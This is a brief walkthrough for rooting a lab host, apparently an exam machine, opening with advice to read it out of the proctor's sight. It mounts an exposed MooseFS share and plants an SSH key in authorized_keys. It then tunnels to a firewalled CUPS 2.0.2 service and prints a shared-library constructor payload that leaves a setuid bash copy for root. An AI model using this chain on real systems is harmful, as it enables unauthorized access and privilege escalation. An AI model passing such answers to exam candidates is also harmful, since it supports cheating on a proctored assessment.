MFS .107 WalkThrough

!!! Make sure You are reading beyound proctor's sight !!!

MFS 80 Web App

install relative tools

```
sudo apt install moosefs-client moosefs-cli moosefs-common
```

We can see in web page , there is no limit to mount files

so, mount them

```
sudo mkdir /mnt/MFS_meta/
sudo mfsmount /mnt/MFS_meta/ -H 192.168.**.107
```

We can see it is home if `Synced brian`, add public key to it

```
ssh-keygen
cd .ssh/
cat id_rsa.pub >> /mnt/MFS_meta/.ssh/authorized_keys
ssh -i id_rsa brain@192.168.**.107
```

now, you can get local.txt

---

by lines.sh you can find that this machine have a service `CUPS 2.0.2` and it is blocked by Firewall

```
ssh -N -L 1234:127.0.0.1:631 brian@192.168.**.107 -i ~/.ssh/id_rsa
```

generate a payload

source code(exp.c):

```c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
    system("cp /bin/bash /tmp/bash && chmod 7777 /tmp/bash && /tmp/bash -p");
}
```

compile

```
gcc -shared -o ./exp.so -fPIC exp.c
```

Now, exploit by below command

```
python exp.py -a 127.0.0.1 -b 1234 -c exp.so
python exp.py -a 127.0.0.1 -b 1234 -f
```

On victim

```
./bash -p
```

You're root now!